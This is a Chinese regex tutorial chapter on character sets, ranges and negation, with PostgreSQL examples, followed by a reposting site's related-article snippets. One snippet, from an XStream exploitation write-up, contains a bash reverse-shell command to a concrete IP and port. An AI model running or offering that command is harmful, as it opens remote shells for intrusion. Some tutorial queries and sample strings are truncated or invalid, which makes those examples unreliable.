在本章里,你将学习如何与字符集合打交道。

与可以匹配任意单个字符的.字符(参见第2章)不同,字符集合能匹配特定的字符和字符区间。


3.1 匹配多个字符中的某一个

第2章介绍的.​字符,可以匹配任意单个字符。

当时在最后一个例子里,我们使用了.a​来匹配na​和sa​,使用了.​来匹配n​和s​。现在,如果在那份文件清单里增加了一个名为ca1.xls​的文件,而你仍只想找出na​和sa​,该怎么办?别忘了.​也能匹配c​,所以文件名ca1.xls​也会被找出。

①看下面的例子

文本

sales1.xls
orders3.xls
sales2.xls
sales3.xls
apac1.xls
europe2.xls
na1.xls
na2.xls
sa1.xls
ca1.xls

正则表达式

.a.\.xls

结果

sales1.xls
orders3.xls
sales2.xls
sales3.xls
apac1.xls
europe2.xls
na1.xls
na2.xls
sa1.xls
ca1.xls

既然只想找出n​和s​,使用可以匹配任意字符的.显然不行——我们需要的不是匹配任意字符,而是只匹配n​和s​这两个字符。

在正则表达式里,我们可以使用元字符[​和]​来定义一个字符集合。只有该字符集合内的字符之一(但并非全部),才可以满足匹配条件。

--PostgreSQL
with t1 as (
select 'sales1.xls' txt union all
select 'orders3.xl' txt union all
select 'sales2.xls' txt union all
select 'sales3.xls' txt union all
select 'apac1.xls'  txt union all
select 'europe2.xl' txt union all
select 'na1.xls'    txt union all
select 'na2.xls'    txt union all
select 'sa1.xls'    txt union all
select 'ca1.xls'    txt 
)
select * from t1 
where txt ~ '.a.\.xls'

下面这个例子与第2章的最后一个例子相似,但在这次的正则表达式里使用了一个字符集合。

②看下面这个例子:

文本

sales1.xls
orders3.xls
sales2.xls
sales3.xls
apac1.xls
europe2.xls
na1.xls
na2.xls
sa1.xls
ca1.xls

正则表达式

[ns]a.\.xls

结果

sales1.xls
orders3.xls
sales2.xls
sales3.xls
apac1.xls
europe2.xls
na1.xls
na2.xls
sa1.xls
ca1.xls

分析

这里使用的正则表达式以[ns]​开头,这个集合将只会匹配字符n​或s​之一(但不匹配字符c​或其他字符)。[​和]​不匹配任何字符,它们只负责定义一个字符集合。

接下来,正则表达式里的普通字符a​匹配字符a​,.​匹配一个任意字符,\.​匹配.​字符本身,普通字符xls​匹配字符串xls​。

从结果上看,这个模式只匹配了3个文件名,与我们的预期完全一致。

注意 虽然结果正确,但模式[ns]a.\.xls​并非完全正确。假如那份文件清单里还有一个名为usa1.xls​的文件,它也会被匹配出来(开头的u会被忽略,匹配剩余的sal.xls​)。这里涉及了位置匹配问题,我们将在第6章对此做专题讨论。

提示 正如看到的那样,对正则表达式进行测试是很有技巧的。验证某个模式能不能获得预期的匹配结果并不困难,但如何验证它不会匹配到你不想要的东西,可就没那么简单了。

with t1 as (
select 'sales1.xls' txt union all
select 'orders3.xl' txt union all
select 'sales2.xls' txt union all
select 'sales3.xls' txt union all
select 'apac1.xls'  txt union all
select 'europe2.xl' txt union all
select 'na1.xls'    txt union all
select 'na2.xls'    txt union all
select 'sa1.xls'    txt union all
select 'ca1.xls'    txt 
)
select * from t1 
where txt ~ '[ns]a.\.xls'

字符集合,在不需要区分字母大小写(或者是只需匹配某个特定部分)的搜索操作里,比较常见。

③比如说:

文本

The phrase "regular expression" is often
abbreviated as RegEx or regex.

正则表达式

[Rr]eg[Ee]x

结果

The phrase "regular expression" is often
abbreviated as RegEx or regex.

分析

这里使用的模式包含两个字符集合:[Rr]​负责匹配字母R​和r​,[Ee]​负责匹配字母E​和e​。这个模式可以匹配RegEx​和regex​,但不匹配REGEX​。

提示  如果你打算进行一次不需要区分字母大小写的匹配,不使用这个技巧也能达到目的。这种模式最适合用在从全局看需要区分字母大小写,但在某个局部不需要区分字母大小写的搜索操作里。

--PostgreSQL
--将RegEx、regex、Regex or regEx,全部识别出来,并替换为XXXXX
with t1 as (
select 'The phrase "regular expression" is often'  txt
union all	
select 'abbreviated as RegEx or regex.'
)
select txt,regexp_replace(txt,'[Rr]eg[Ee]x','XXXXX','g') 
from t1
where regexp_replace(txt,'[Rr]eg[Ee]x','XXXXX','g')


3.2 利用字符集合区间

我们再来仔细看看,那个从一份文件清单里找出特定文件的例子。

我们刚才使用的模式[ns]a.\.xls​还存在另外一个问题。如果那份文件清单里有一个名为sam.xls​的文件,结果会怎样?显然,因为.​可以匹配所有的字符,而不是仅限于数字,所以文件sam.xls​也会出现在匹配结果里。

这个问题可以用一个包含全部数字的字符集合来解决。

①看如下例子:

文本

sales1.xls
orders3.xls
sales2.xls
sales3.xls
apac1.xls
europe2.xls
sam.xls
na1.xls
na2.xls
sa1.xls
ca1.xls

正则表达式

[ns]a[0123456789]\.xls

结果

sales1.xls
orders3.xls
sales2.xls
sales3.xls
apac1.xls
europe2.xls
sam.xls
na1.xls
na2.xls
sa1.xls
ca1.xls

分析

在这个例子里,我们改用了另外一个模式,这个模式的匹配对象是:第一个字符必须是n​或s​,第二个字符必须是a​,第三个字符可以是任何一个数字(因为我们使用了字符集合[0123456789]​)。注意,文件名sam.xls​没有出现在匹配结果里,这是因为m​与我们给定的字符集合(10个数字)不相匹配。

with t1 as (
select 'sales1.xls' txt union all
select 'orders3.xl' txt union all
select 'sales2.xls' txt union all
select 'sales3.xls' txt union all
select 'apac1.xls'  txt union all
select 'europe2.xl' txt union all
select 'na1.xls'    txt union all
select 'na2.xls'    txt union all
select 'sa1.xls'    txt union all
select 'ca1.xls'    txt 
)
select * from t1 
where txt ~ '[ns]a[0123456789]\.xls'

在使用正则表达式的时候,会频繁地用到一些字符区间(0~9​、A~Z​等)。为了简化字符区间的定义,正则表达式提供了一个特殊的元字符:可以用-​(连字符)来定义字符区间。

②下面还是刚才那个例子,但我们这次使用了字符区间:

文本

sales1.xls
orders3.xls
sales2.xls
sales3.xls
apac1.xls
europe2.xls
sam.xls
na1.xls
na2.xls
sa1.xls
ca1.xls

正则表达式

[ns]a[0-9]\.xls

结果

sales1.xls
orders3.xls
sales2.xls
sales3.xls
apac1.xls
europe2.xls
sam.xls
na1.xls
na2.xls
sa1.xls
ca1.xls

分析

模式[0-9]​的功能与[0123456789]​完全等价,所以这次的匹配结果与刚才那个例子一模一样。

字符区间并不仅限于数字,以下这些都是合法的字符区间。

​A-Z​,匹配从A​到Z​的所有大写字母。

​a-z​,匹配从a​到z​的所有小写字母。

​A-F​,匹配从A​到F​的所有大写字母。

​A-z​,匹配从ASCII字符A​到ASCII字符z​的所有字母。这个模式一般不常用,因为它还包含[​和^​等在ASCII字符表里排列在Z​和a​之间的字符。

字符区间的首、尾字符可以是ASCII字符表里的任意字符。但在实际工作中,最常用的字符区间还是数字字符区间和字母字符区间。

提示 在定义一个字符区间的时候,一定要避免让这个区间的尾字符小于它的首字符。例如[3-1]​,这种区间是没有意义的,而且往往会让整个模式失效。

注意 -​​(连字符)是一个特殊的元字符,它只有出现在[​​和]​​之间的时候才是元字符。在字符集合以外的地方,-​只是一个普通字符,只能与-本身相匹配。因此,在正则表达式里,-字符不需要被转义。

在同一个字符集合里可以给出多个字符区间。比如说,下面这个模式可以匹配任何一个字母(无论大小写)或数字,但除此以外的其他字符(既不是数字也不是字母的字符)都不匹配:

[A-Za-z0-9]

这个模式是下面这个字符集合的简写形式:

[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789]

如你所见,字符范围使得正则表达式的语法变得简洁多了。

with t1 as (
select 'sales1.xls' txt union all
select 'orders3.xl' txt union all
select 'sales2.xls' txt union all
select 'sales3.xls' txt union all
select 'apac1.xls'  txt union all
select 'europe2.xl' txt union all
select 'na1.xls'    txt union all
select 'na2.xls'    txt union all
select 'sa1.xls'    txt union all
select 'ca1.xls'    txt 
)
select * from t1 
where txt ~ '[ns]a[0-9]\.xls'

下面是另一个例子,这次要查找的是RGB值(用一个十六进制数字给出的红、绿、蓝三基色的组合值,计算机可以根据RGB值把有关的文字或图象显示为由这三种颜色按给定比例调和出来的色彩)。

在网页里,RGB值是以#开头,类似000000(黑色)、ffffff(白色)、ff0000(红色)这样,6位a~f的字母或数字结尾的形式。RGB值用大写或小写字母给出均可,所以FF00ff(品红色)也是合法的RGB值。

③下面是取自CSS文件中的一个例子:

文本

div {background-color: #fefbd8;
}
h1 {background-color: #0000ff;
}
div {background-color: #d0f4e6;
}
span {background-color: #f08970;
}

正则表达式

#[0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f]

结果

div {
background-color: #fefbd8;
}
h1 {
background-color: #0000ff;
}
div {
background-color: #d0f4e6;
}
span {
background-color: #f08970;
}

分析

这里使用的模式以普通字符#开头,随后是6个同样的[0-9A-Fa-f]​字符集合。这将匹配一个由字符#​开头,然后是6个数字或字母A​到F​(大小写均可)的字符串。

--PostgreSQL
--将所有RGB值,全部识别出来,并替换为XXXXX
with t1 as (
select '	
div {background-color: #fefbd8;
}
h1 {background-color: #0000ff;
}
div {background-color: #d0f4e6;
}
span {background-color: #f08970;
}'  txt
)
select txt
,regexp_replace(txt,'#[0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f][0-9A-Fa-f]','XXXXXXX','g') 
from t1 


3.3 排除

字符集合,通常用来指定一组必须匹配其中之一的字符。但在某些场合,我们需要反过来做,即指定一组不需要匹配的字符。换句话说,就是排除字符集合所指定的那些字符。

不用逐个列出你要匹配的字符(如果只是要把一小部分字符排除在外的话,这种写法就太冗长了),可以使用元字符^​来排除某个字符集合。

①下面来看一个例子:

文本

sales1.xls
orders3.xls
sales2.xls
sales3.xls
apac1.xls
europe2.xls
sam.xls
na1.xls
na2.xls
sa1.xls
ca1.xls

正则表达式

[ns]a[^0-9]\.xls

结果

sales1.xls
orders3.xls
sales2.xls
sales3.xls
apac1.xls
europe2.xls
sam.xls
na1.xls
na2.xls
sa1.xls
ca1.xls

分析

这个例子里使用的模式与前面的例子里使用的模式刚好相反。前面[0-9]​只匹配数字,而这里[^0-9]​匹配的是任何不是数字的字符,也就是说,[ns]a[^0-9]\.xls​将匹配sam.xls​,但不匹配na1.xls​、na2.xls​或sa1.xls​。

注意 ^​的效果将作用于给定字符集合里的所有字符或字符区间,而不是仅限于紧跟在^​字符后面的那一个字符或字符区间。

--PostgreSQL
with t1 as (
select 'sales1.xls' txt union all
select 'orders3.xl' txt union all
select 'sales2.xls' txt union all
select 'sales3.xls' txt union all
select 'apac1.xls'  txt union all
select 'europe2.xl' txt union all
select 'sam.xls'    txt union all
select 'na1.xls'    txt union all
select 'na2.xls'    txt union all
select 'sa1.xls'    txt union all
select 'ca1.xls'    txt 
)
select * from t1 
where txt ~ '[ns]a[^0-9]\.xls'


3.4 小结

元字符[​和]​用来定义一个字符集合,其含义是必须匹配该集合里的字符之一(各个字符之间是OR的关系,而不是AND的关系)。

定义一个字符集合的具体做法有两种:

一是把所有的字符都列举出来。

二是利用元字符-以字符区间的方式给出。

可以用元字符^排除字符集合,强制匹配指定字符集合之外的字符。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/95226.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/95226.shtml
英文地址,请注明出处:http://en.pswp.cn/diannao/95226.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

强化学习在量化交易中的禁区:回测表现好实盘亏钱的4个原因

引言 “为什么你的强化学习策略在回测中年化 50%,到了实盘却三个月亏光本金?” 如果你做过量化交易,尤其是尝试用强化学习(Reinforcement Learning, RL),这种场景可能并不陌生: 回测曲线平滑向上,最大回撤可控,胜率稳定 模型参数和架构调到极致,每次迭代都带来更高的…

代码随想录day62图论11

文章目录Floyd 算法精讲A * 算法精讲 &#xff08;A star算法&#xff09;Floyd 算法精讲 题目链接 文章讲解 #include <iostream> #include <vector> #include <algorithm> using namespace std;int main() {int n, m;cin >> n >> m; // 输入…

【18】OpenCV C++实战篇——【项目实战】OpenCV C++ 精准定位“十字刻度尺”中心坐标,过滤图片中的干扰,精准获取十字交点坐标

文章目录1 问题及分析2 多尺度霍夫直线 与 渐进概率霍夫线段 细节对比2.1 多尺度霍夫直线 HoughLines2.2 渐进概率霍夫线段 HoughLinesP2.3 HoughLines 和 HoughLinesP 所求结果细节对比2.4 为什么 HoughLinesP 直线两端没有呈放射状态呢&#xff1f;直线总是平行吗&#xff1f…

云原生应用的DevOps2(Jenkins渗透场景)

结论 Jenkins历史漏洞 Jenkins未授权访问 登录后命令执行 Jenkins代码仓库信息 Jenkins服务器建立多台服务器信任连接 背景 目前我看到红队人员的现状,不管是什么系统就是拿Shell,拿权限,然后把这台机器当作跳板继续横向其它机器。而Jenkins在内网中是经常能够遇到的,…

Gradle 配置教程:与 Maven 对比详解(含完整迁移指南)

一、基础对比&#xff1a;Gradle vs Maven1.1 核心特性对比维度MavenGradle配置语言XML (冗长)Groovy/Kotlin DSL (简洁灵活)构建速度较慢(全量构建)快2-10倍(增量构建缓存)多模块管理<modules> <parent>settings.gradle project()依赖管理<dependencies>d…

pcl 按比例去除点云的噪点

之前halcon3d中是这么做的&#xff1b;1&#xff0c;先查找点云中每个点最近第15个最近点的距离2&#xff0c;将距离进行排序3&#xff0c;求排序后在距离数组70%位置的距离 d4&#xff0c;筛选点云中每个点半径为d&#xff0c;近邻点的数量大于14的点用pcl实现的代码如下&…

站在Vue的角度,对比鸿蒙开发中的递归渲染

第三类 引用数据的操作 引用数据类型 又叫复杂数类型&#xff0c; 典型的代表是对象和数组&#xff0c;而数组和对象往往又嵌套到到一起 普通数组和对象的使用 vue中使用for循环遍历 <template><div>我是关于页面<div v-for"item in arr">{{ i…

VBS 流程控制

一. if else 和 selec case 1. if end if Dim a a2If a0 ThenMsgBox "这里是0"End if 2. if else end if Dim a a2If a0 ThenMsgBox "这里是0"Else MsgBox "这里是2" 弹窗“这里是2”End if 3. if -----elseif-------else-------end…

HCIP项目之OSPF综合实验

一、项目背景随着企业分支机构地理分散化&#xff0c;跨地域网络互联需求激增。MGRE&#xff08;多点 GRE&#xff09;技术因适应动态拓扑、降低链路成本&#xff0c;成为多分支互联的常用方案&#xff1b;OSPF 作为链路状态路由协议&#xff0c;适用于大型网络且支持可变长子网…

class and enmu class

传统枚举与作用域污染及enum class的详细介绍在编程中&#xff0c;枚举&#xff08;enum&#xff09;是一种常见的特性&#xff0c;用于定义一组命名的常量。传统枚举&#xff08;如C中的enum&#xff09;虽然简单易用&#xff0c;但容易导致作用域污染问题。而enum class&…

Numpy科学计算与数据分析:Numpy数组属性入门之形状、维度与大小

Numpy数组属性探索 学习目标 通过本课程的学习&#xff0c;学员将掌握Numpy数组的基本属性&#xff0c;如形状&#xff08;shape&#xff09;、维度&#xff08;ndim&#xff09;和大小&#xff08;size&#xff09;&#xff0c;并能够通过实际操作加深对这些属性的理解。 相…

IF 33.3+ 通过多区域单细胞测序解析肺腺癌的空间和细胞结构

通过多区域单细胞测序解析肺腺癌的空间和细胞结构摘要对于肺腺癌演进过程中单个细胞群的地理空间架构知之甚少。在此&#xff0c;我们对来自5例早期LUAD和14个来自肿瘤的具有明确空间邻近性的多区域正常肺组织的186&#xff0c;916个细胞进行了单细胞RNA测序。我们发现细胞谱系…

【Redis的安装与配置】

一&#xff1a;下载 Redis ✅ 百度网盘分享 &#x1f449; https://pan.baidu.com/s/1xkrLlyUPyM0btCFFpGEhcw?pwdSVIP ✅ 从Github下载 &#x1f449; https://github.com/MicrosoftArchive/redis/releases 二&#xff1a;安装 Redis 1️⃣ 将下载的压缩包文件 解压到 某个文…

TDSQL GTS文件说明

基于时间点恢复&#xff1a;全备xlogGTS文件 在TDSQL的备份恢复体系中&#xff0c;GTS文件是全局时间戳&#xff08;Global Timestamp&#xff09;的存储载体&#xff0c;用于记录事务在分布式环境中的精确执行顺序和时间点 其核心作用体现在以下方面&#xff1a; 1‌。时间基准…

全星APQP数字化平台在汽车零部件行业的深度应用与效益分析

全星APQP数字化平台在汽车零部件行业的深度应用与效益分析 全星研发项目管理APQP软件系统是专为汽车零部件行业打造的数字化研发管理平台&#xff0c;通过深度集成行业核心工具链&#xff0c;实现从产品设计到量产的全程可控。以下为该系统在汽车零部件行业的应用解析&#xf…

网络通信安全:HTTPS协议的密码学基石

引言&#xff1a;从HTTP到HTTPS的安全升级 在网络通信中&#xff0c;数据传输的安全性至关重要。早期的HTTP协议采用明文传输&#xff0c;存在三大安全隐患&#xff1a; 机密性问题&#xff1a;数据在传输过程中可能被窃听&#xff08;如公共Wi-Fi中的监听&#xff09;&#xf…

pip 和 conda,到底用哪个安装?

为什么 pip 有时装不下来而 --prefer-binary 可以&#xff1f;什么是源代码发行版&#xff1f;什么是轮子&#xff1f;conda 和 pip 有什么区别&#xff1f;优先用谁啊&#xff1f;两者适合的场景&#xff08;何时用哪个&#xff09;安装路径&#xff1a;pip / conda 分别装到哪…

bert学习

首先了解一下几种embedding。比如elmo就是一个embedding模型。one-hot编码只能实现one word one embedding&#xff0c;而我们的elmo能实现one token one embeddingElmo是基于双向LSTM&#xff0c;所以每个词其实会有正向和反向两个预测结果&#xff0c;那么我们用哪个呢&#…

Java安全-组件安全

一、Xstream启动环境并访问接下来我们构造反弹shell语句&#xff0c;bash -i >& /dev/tcp/8.152.2.86/9999 0>&1&#xff0c;紧接着对其进行base64编码。接下来使用命令即可首先开启监听接下来执行命令接下来抓包对其进行payload构造即可紧接着回去查看回显发现成…

【10】微网优联——微网优联 嵌入式技术一面,校招,面试问答记录

微网优联——微网优联 嵌入式技术一面&#xff0c;校招&#xff0c;问答记录 1. 2 分钟简单自自我介绍2. 问一遍笔试题目3. IP地址在哪个层4.手动配置过IP地址吗?要配哪几个&#xff1f;5. ARP 是域名找IP地址还是IP地址找域名?6. Linux、计算机网络、操作系统掌握的怎么样&a…